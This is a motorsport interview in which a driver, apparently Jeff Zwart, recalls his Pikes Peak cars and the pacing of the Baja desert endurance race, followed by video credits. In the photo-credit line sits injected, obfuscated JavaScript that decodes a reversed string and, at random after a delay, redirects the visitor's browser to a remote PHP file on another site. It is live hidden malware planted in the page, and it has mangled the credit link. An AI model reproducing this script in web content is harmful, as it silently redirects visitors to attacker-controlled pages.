You’ve driven some pretty serious kit up the mountain. Any favourites stand out?
“The GT3 Cup car [from Jeff’s 2010 run]. To take a road racing based car and drive Pikes Peak that still had some dirt on it was really, really fun. We put a short, sequential gearbox in – it only had a 125mph [around 200kph] top speed – to be able pull gears in the dirt without taking your foot off the gas and not changing the attitude of the car. It was just magical doing that.
“Honestly, last year’s car – 620hp in a GT2 RS – I’ve never had a car at the summit at 14,000ft that is still pulling like crazy!”
Your incredible career has also included some notable runs in the Baha 1000, which is something altogether different to the hillclimb…
“Absolutely. Pikes Peak is lay it all on the line for 12 minutes of your life. Baha is completely about pacing. You just cannot…you have to wait, and not beat the car up too much. It’s such a desperate event to stay ahead of people, but at the same time it’s such a desperate event to protect the car. It’s an odd challenge, because it’s two things that fight against each other!”
“And I like taking on challenges! But Baha is just surreal! The pacing, anything can go wrong. Even in the last 15 minutes it can go either well or bad. It’s just a surreal event, especially in the night and with the dust. We’re so worn out at points and the energy needed to get through, it’s just such a difficult balance across 30 hours.”
Filmmaker, Pikes Peak, National Rally Champion, desert endurance specialist: is there anything missing from your CV?
“Nope {laughs)! I’m very fortunate and very happy I’ve had so many opportunities.”
– Shots of the 2011 Pikes Peak International Hill Climb courtesy of $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/raw-time-on-my-hands/” target=”_blank”>Eric Fabre.
Pikes Peak 2010 – Jeff Zwart Qualifying from Will Roegge on Vimeo.
Jeff Zwart’s Pikes Peak Winning Porsche 911 GT3 California Shakedown from TangentVector, inc.™ on Vimeo.
Jeff Zwart – Pikes Peak Hill Climb 2011 In-Car from Will Roegge on Vimeo.
